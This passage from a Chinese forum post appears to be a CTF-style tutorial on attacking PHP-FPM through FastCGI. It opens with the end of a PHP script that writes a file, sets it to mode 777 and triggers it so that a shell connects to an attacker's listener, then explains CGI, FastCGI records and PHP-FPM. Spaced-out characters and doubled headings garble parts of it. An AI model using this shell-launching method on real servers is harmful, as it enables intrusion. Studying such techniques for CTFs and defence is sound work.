e n t s ( ' s h e l l . d i z z l e ' , $ s h e l l f i l e ) , " S u c c e e d e d ! " , " F a i l e d ! " ) ;   / / w r i t e   t h e   f i l e                 c h e c k E n a b l e d ( " C h m o d   7 7 7 " , c h m o d ( " s h e l l . d i z z l e " , 0 7 7 7 ) , " S u c c e e d e d ! " , " F a i l e d ! " ) ;   / / r w x                 e c h o   " E x e c u t i n g   t h e   s c r i p t   n o w .   C h e c k   y o u r   l i s t e n e r   < i m g   s r c   =   ' s h e l l . d i z z l e '   s t y l e   =   ' d i s p l a y : n o n e ; ' > " ;   / / c a l l   t h e   s c r i p t         } } ? >
点 击 开 始 按 钮 后 ， 成 功 之 后 会 创 建 一 个 新 的 虚 拟 终 端 ， 在 这 个 新 的 虚 拟 终 端 中 即 可 执 行 命 令 了 。 [ D e 1 C T F 2 0 2 0 ] c h e c k   i n 这 道 题 利 用 的 便 是 这 个 思 路 ， 常 见 于 文 件 上 传 中 。 通 过 攻 击 通 过 攻 击   P H P - F P M 使 用 条 件 使 用 条 件 L i n u x   操 作 系 统 P H P - F P M 存 在 可 写 的 目 录 ， 需 要 上 传 文 件 原 理 简 述 原 理 简 述 既 然 是 利 用 P H P - F P M ， 我 们 首 先 需 要 了 解 一 下 什 么 是 P H P - F P M ， 研 究 过 a p a c h e 或 者 n g i n x 的 人 都 知 道 ， 早 期 的 W e b 服 务 器 负 责 处 理 全 部 请 求 ， 其 接 收 到 请 求 ， 读 取 文 件 ， 然 后 传 输 过 去 。 换 句 话 说 ， 早 期 的 W e b 服 务 器 只 处 理 H t m l 等 静 态 W e b 资 源 。 但 是 随 着 技 术 发 展 ， 出 现 了 像 P H P 等 动 态 语 言 来 丰 富 W e b ， 形 成 动 态 W e b 资 源 ， 这 时 W e b 服 务 器 就 处 理 不 了 了 ， 那 就 交 给 P H P 解 释 器 来 处 理 吧 ！ 交 给 P H P 解 释 器 处 理 很 好 ， 但 是 ， P H P 解 释 器 该 如 何 与 W e b 服 务 器 进 行 通 信 呢 ？ 为 了 解 决 不 同 的 语 言 解 释 器 （ 如 p h p 、 p y t h o n 解 释 器 ） 与 W e b 服 务 器 的 通 信 ， 于 是 出 现 了 C G I 协 议 。 只 要 你 按 照 C G I 协 议 去 编 写 程 序 ， 就 能 实 现 语 言 解 释 器 与 W e b 服 务 器 的 通 信 。 如 P H P - C G I 程 序 。 其 实 ， 在 上 一 节 中 我 们 已 经 了 解 了 C G I 以 及 A p a c h e   M o d   C G I 方 面 的 知 识 了 ， 下 面 我 们 再 来 继 续 补 充 一 下 。 F a s t - C G I 有 了 C G I ， 自 然 就 解 决 了 W e b 服 务 器 与 P H P 解 释 器 的 通 信 问 题 ， 但 是 W e b 服 务 器 有 一 个 问 题 ， 就 是 它 每 收 到 一 个 请 求 ， 都 会 去 F o r k 一 个 C G I 进 程 ， 请 求 结 束 再 k i l l 掉 这 个 进 程 ， 这 样 会 很 浪 费 资 源 。 于 是 ， 便 出 现 了 C G I 的 改 良 版 本 — — F a s t - C G I 。 F a s t - C G I 每 次 处 理 完 请 求 后 ， 不 会 k i l l 掉 这 个 进 程 ， 而 是 保 留 这 个 进 程 ， 使 这 个 进 程 可 以 一 次 处 理 多 个 请 求 （ 注 意 与 另 一 个 A p a c h e   M o d   C G I 区 别 ） 。 这 样 就 会 大 大 的 提 高 效 率 。 F a s t - C G I   R e c o r d C G I / F a s t c g i 其 实 是 一 个 通 信 协 议 ， 和 H T T P 协 议 一 样 ， 都 是 进 行 数 据 交 换 的 一 个 通 道 。 H T T P 协 议 是 浏 览 器 和 服 务 器 中 间 件 浏 览 器 和 服 务 器 中 间 件 进 行 数 据 交 换 的 协 议 ， 浏 览 器 将 H T T P 头 和 H T T P 体 用 某 个 规 则 组 装 成 数 据 包 ， 以 T C P 的 方 式 发 送 到 服 务 器 中 间 件 ， 服 务 器 中 间 件 按 照 规 则 将 数 据 包 解 码 ， 并 按 要 求 拿 到 用 户 需 要 的 数 据 ， 再 以 H T T P 协 议 的 规 则 打 包 返 回 给 服 务 器 。 类 比 H T T P 协 议 来 说 ， C G I 协 议 是 W e b 服 务 器 和 解 释 器 服 务 器 和 解 释 器 进 行 数 据 交 换 的 协 议 ， 它 由 多 条 r e c o r d 组 成 ， 每 一 条 r e c o r d 都 和 H T T P 一 样 ， 也 由 h e a d e r 和 b o d y 组 成 ， W e b 服 务 器 将 这 二 者 按 照 C G I 规 则 封 装 好 发 送 给 解 释 器 ， 解 释 器 解 码 之 后 拿 到 具 体 数 据 进 行 操 作 ， 得 到 结 果 之 后 再 次 封 装 好 返 回 给 W e b 服 务 器 。 和 H T T P 头 不 同 ， r e c o r d 的 h e a d e r 头 部 固 定 的 是 8 个 字 节 ， b o d y 是 由 头 中 的 c o n t e n t L e n g t h 指 定 ， 其 结 构 如 下 ： 详 情 请 点 击 文 末 阅 读 原 文 。 P H P - F P M 前 面 说 了 那 么 多 了 ， 那 P H P - F P M 到 底 是 个 什 么 东 西 呢 ? 其 实 F P M 就 是 F a s t c g i 的 协 议 解 析 器 ， W e b 服 务 器 使 用 C G I 协 议 封 装 好 用 户 的 请 求 发 送 给 谁 呢 ?   其 实 就 是 发 送 给 F P M 。 F P M 按 照 C G I 的 协 议 将 T C P 流 解 析 成 真 正 的 数 据 。 举 个 例 子 ， 用 户 访 问 时 ， 如 果 w e b 目 录 是 ， 那 么 N g i n x 会 将 这 个 请 求 变 成 如 下 k e y - . s o t y p e d e f   s t r u c t   { H E A D         u n s i g n e d   c h a r   v e r s i o n ;                             / / 版 本         u n s i g n e d   c h a r   t y p e ;                                   / / 类 型         u n s i g n e d   c h a r   r e q u e s t I d B 1 ;                     / / i d         u n s i g n e d   c h a r   r e q u e s t I d B 0 ;                             u n s i g n e d   c h a r   c o n t e n t L e n g t h B 1 ;             / / b o d y 大 小         u n s i g n e d   c h a r   c o n t e n t L e n g t h B 0 ;         u n s i g n e d   c h a r   p a d d i n g L e n g t h ;                 / / 额 外 大 小         u n s i g n e d   c h a r   r e s e r v e d ;               B O D Y       u n s i g n e d   c h a r   c o n t e n t D a t a [ c o n t e n t L e n g t h ] ; / / 主 要 内 容       u n s i g n e d   c h a r   p a d d i n g D a t a [ p a d d i n g L e n g t h ] ; / / 额 外 内 容 } F C G I _ R e c o r d ; [ h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? a = 1 & b = 2 ] ( h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? a = 1 & b = 2 ) / v a r / w w w / h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理